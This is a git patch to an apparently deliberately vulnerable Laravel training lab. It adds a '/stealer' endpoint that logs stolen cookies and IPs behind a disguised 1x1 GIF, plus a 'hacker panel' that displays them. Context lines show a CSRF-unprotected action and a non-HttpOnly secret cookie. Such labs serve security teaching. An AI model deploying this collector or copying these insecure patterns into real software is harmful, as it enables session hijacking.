From 80f55b50a36d952f8b37771f06d9890312a4d2f1 Mon Sep 17 00:00:00 2001 From: mcoder Date: Tue, 14 Apr 2026 13:25:27 +0330 Subject: [PATCH] Add --- .../Controllers/VulnerabilityController.php | 25 +++++++++++++++++++ .../views/vulnerabilities/logs.blade.php | 22 ++++++++++++++++ routes/web.php | 9 ++++++- 3 files changed, 55 insertions(+), 1 deletion(-) create mode 100644 resources/views/vulnerabilities/logs.blade.php diff --git a/app/Http/Controllers/VulnerabilityController.php b/app/Http/Controllers/VulnerabilityController.php index f7f296c..5977ce2 100644 --- a/app/Http/Controllers/VulnerabilityController.php +++ b/app/Http/Controllers/VulnerabilityController.php @@ -24,4 +24,29 @@ public function csrfTarget(Request $request) 'message' => 'Action performed successfully without CSRF protection!' ]); } + + // متد دریافت کوکی‌های سرقت شده + public function logStolenData(\Illuminate\Http\Request $request) + { + $cookie = $request->query('data', 'No data'); + $ip = $request->ip(); + + // ذخیره در یک فایل متنی داخل پوشه storage/app برای سادگی آزمایشگاه + $logEntry = "[" . now() . "] IP: {$ip} | Stolen Data: {$cookie}"; + \Illuminate\Support\Facades\Storage::append('stolen_cookies.log', $logEntry); + + // یک تصویر شفاف ۱x۱ برمی‌گردانیم تا کلاینت متوجه نشود + return response(base64_decode('R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==')) + ->header('Content-Type', 'image/gif'); + } + + // متد برای مشاهده لاگ‌ها (پنل هکر) + public function viewLogs() + { + $logs = \Illuminate\Support\Facades\Storage::exists('stolen_cookies.log') + ? \Illuminate\Support\Facades\Storage::get('stolen_cookies.log') + : 'هیچ دیتایی سرقت نشده است.'; + + return view('vulnerabilities.logs', compact('logs')); + } } \ No newline at end of file diff --git a/resources/views/vulnerabilities/logs.blade.php b/resources/views/vulnerabilities/logs.blade.php new file mode 100644 index 0000000..2963391 --- /dev/null +++ b/resources/views/vulnerabilities/logs.blade.php @@ -0,0 +1,22 @@ + + + + + + Hacker Panel - Stolen Data + @vite(['resources/css/app.css']) + + +
+

[!] Compromised Data Logs

+ +
+ 
{{ $logs }}
+
+ +
+ +
+
+ + \ No newline at end of file diff --git a/routes/web.php b/routes/web.php index 9007c13..8d5f6f6 100644 --- a/routes/web.php +++ b/routes/web.php @@ -21,4 +21,11 @@ // ایجاد یک کوکی بدون HttpOnly برای تست سرقت با XSS return response('Cookie set!') ->cookie('secret_token', 'Bypass-12345', 60, null, null, false, false); -})->name('vulnerability.cookie'); \ No newline at end of file +})->name('vulnerability.cookie'); + + +// روت دریافت اطلاعات سرقت شده (معمولاً در دنیای واقعی روی سرور مهاجم است) +Route::get('/stealer', [VulnerabilityController::class, 'logStolenData'])->name('vulnerability.stealer'); + +// پنل مشاهده لاگ‌های سرقت شده +Route::get('/hacker-panel', [VulnerabilityController::class, 'viewLogs'])->name('vulnerability.logs'); \ No newline at end of file